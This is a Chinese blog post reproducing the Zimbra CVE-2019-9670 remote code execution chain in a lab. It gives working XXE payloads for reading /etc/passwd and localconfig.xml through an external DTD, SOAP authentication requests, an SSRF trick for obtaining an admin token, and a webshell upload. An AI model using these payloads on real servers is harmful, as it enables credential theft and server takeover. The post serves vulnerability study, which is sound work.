CVE-2019-9670:Zimbra 远程代码执行漏洞复现

admin 2022年7月8日09:11:14评论1,644 views字数 3687阅读12分17秒阅读模式

漏洞简介


Zimbra是著名的开源系统,提供了一套开源协同办公套件包括WebMail,日历,通信录,Web文档管理和创作。一体化地提供了邮件收发、文件共享、协同办公、即时聊天等一系列解决方案。国外安全研究人员Tint0在博客中披露了一个针对Zimbra 邮件系统进行综合利用来达到远程代码执行效果的漏洞(CVE-2019-9621 CVE-2019-9670)。此漏洞的主要利用手法是通过XXE(XML 外部实体注入)漏洞读取localconfig.xml配置文件来获取Zimbra admin ldap password,接着通过SOAP AuthRequest 认证得到Admin Authtoken,最后使用全局管理令牌通过ClientUploader扩展上传Webshell到Zimbra服务器,从而实现通过Webshell来达到远程代码执行效果。


影响范围


Zimbra Collaboration Suite < 8.7.11版本;

Zimbra Collaboration Suite 8.7.11 to 8.8.11 版本可配合Memcached进行利用;


环境搭建


本文使用ubuntu16.04系统进行Zimbra的环境搭建

首先执行如下命令进行软件包更新并安装Zimbra应用所需要的依赖包

apt updateapt-get install libgmp10 libperl5.22 unzip pax sysstat sqlite3 dnsmasq wget

CVE-2019-9670:Zimbra 远程代码执行漏洞复现

然后需要将本机的hostname修改为Zimbra应用安装后的访问域名

vim /etc/hostname

CVE-2019-9670:Zimbra 远程代码执行漏洞复现

需要将ip和域名进行绑定

vim /etc/hosts
192.168.150.25 mail.test.com mail

CVE-2019-9670:Zimbra 远程代码执行漏洞复现

修改dnsmasq的配置为如下

vim /etc/dnsmasq.conf
server=192.168.150.25domain=test.commx-host=test.com, mail.test.com, 5mx-host=mail.test.com, mail.test.com, 5listen-address=127.0.0.1
CVE-2019-9670:Zimbra 远程代码执行漏洞复现

本文安装Zimbra应用的主机是ubuntu16.04,所以需要下载对应系统版本的安装包进行安装

wget https://files.zimbra.com/downloads/8.7.7_GA/zcs-8.7.7_GA_1787.UBUNTU16_64.20170410133400.tgz

下载完成后使用命令如下命令进行解压

tar -xvf zcs-8.7.7_GA_1787.UBUNTU16_64.20170410133400.tgz
CVE-2019-9670:Zimbra 远程代码执行漏洞复现

解压完成后运行安装脚本

sudo ./install.sh

按照提示完成Zimbra的安装

CVE-2019-9670:Zimbra 远程代码执行漏洞复现

切换到zimbra用户并查看zimbra各个组件的运行状态

su - zimbrazmcontrol status

如下图所示则证明zimbra的各个组件均正常启动

CVE-2019-9670:Zimbra 远程代码执行漏洞复现

使用浏览器访问7071端口,注意这里需要使用https协议

https://192.168.150.25:7071/

如下图则证明zimbra安装成功

CVE-2019-9670:Zimbra 远程代码执行漏洞复现

漏洞复现


第一步:使用POC测试XXE漏洞

接口为https://192.168.150.25:7071/Autodiscover/Autodiscover.xml,利用代码如下

<!DOCTYPE xxe [<!ELEMENT name ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a"> <Request> <EMailAddress>aaaaa</EMailAddress> <AcceptableResponseSchema>&xxe;</AcceptableResponseSchema> </Request> </Autodiscover>

成功读取到了/etc/passwd的文件内容,证明存在XXE漏洞

CVE-2019-9670:Zimbra 远程代码执行漏洞复现

第二步:读取../conf/localconfig.xml配置文件获取zimbra账号密码

首先需要创建包含如下内容的poc.dtd文件并上传到web服务器

<!ENTITY % file SYSTEM "file:../conf/localconfig.xml"><!ENTITY % start "<![CDATA["><!ENTITY % end "]]>"><!ENTITY % all "<!ENTITY fileContents '%start;%file;%end;'>">

利用接口为:https://192.168.150.25:7071/Autodiscover/Autodiscover.xml,利用代码如下

<!DOCTYPE Autodiscover [ <!ENTITY % dtd SYSTEM "http://192.168.150.188/poc.dtd">  %dtd; %all; ]><Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">  <Request> <EMailAddress>aaaaa</EMailAddress> <AcceptableResponseSchema>&fileContents;</AcceptableResponseSchema> </Request></Autodiscover>

成功读取到了zimbra配置文件中的内容

CVE-2019-9670:Zimbra 远程代码执行漏洞复现

获取到zimbra的账号密码后就可以生成低权限的token了

利用接口为https://192.168.150.25:7071/service/admin/soap,利用代码如下

<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">  <soap:Header> <context xmlns="urn:zimbra"> <userAgent name="ZimbraWebClient" version="5.0.15_GA_2851"/> </context> </soap:Header> <soap:Body> <AuthRequest xmlns="urn:zimbraAccount"> <account by="adminName">zimbra</account> <password>MGXTKSdH</password> </AuthRequest> </soap:Body></soap:Envelope>

成功生成了低权限token

CVE-2019-9670:Zimbra 远程代码执行漏洞复现

获取到低权限token后,通过SSRF漏洞,接口为:https://192.168.150.25:7071/service/proxy?target=https://127.0.0.1:7071/service/admin/soap获取高权限token,利用代码如下

<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">  <soap:Header> <context xmlns="urn:zimbra"> <userAgent name="ZimbraWebClient - SAF3 (Win)" version="5.0.15_GA_2851"/> </context> </soap:Header> <soap:Body> <AuthRequest xmlns="urn:zimbraAdmin"> <account by="adminName">zimbra</account> <password>MGXTKSdH</password> </AuthRequest> </soap:Body></soap:Envelope>

CVE-2019-9670:Zimbra 远程代码执行漏洞复现

获取高权限token之后,即可利用该token进行任意文件上传,上传接口为:https://192.168.150.25:7071/service/extension/clientUploader/upload

这里上传了一个测试jsp文件

CVE-2019-9670:Zimbra 远程代码执行漏洞复现

最后访问测试webshell:https://192.168.150.25:7071/downloads/test222.jsp,此处需要注意的是需要高权限token(ZM_ADMIN_AUTH_TOKEN)才能访问webshell

如图所示,成功进行了getshell

CVE-2019-9670:Zimbra 远程代码执行漏洞复现

修复建议


将zimbra应用升级到最新版本。

CVE-2019-9670:Zimbra 远程代码执行漏洞复现


CVE-2019-9670:Zimbra 远程代码执行漏洞复现

原文始发于微信公众号(第59号):CVE-2019-9670:Zimbra 远程代码执行漏洞复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年7月8日09:11:14
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2019-9670:Zimbra 远程代码执行漏洞复现https://cn-sec.com/archives/1165703.html

发表评论

匿名网友 填写信息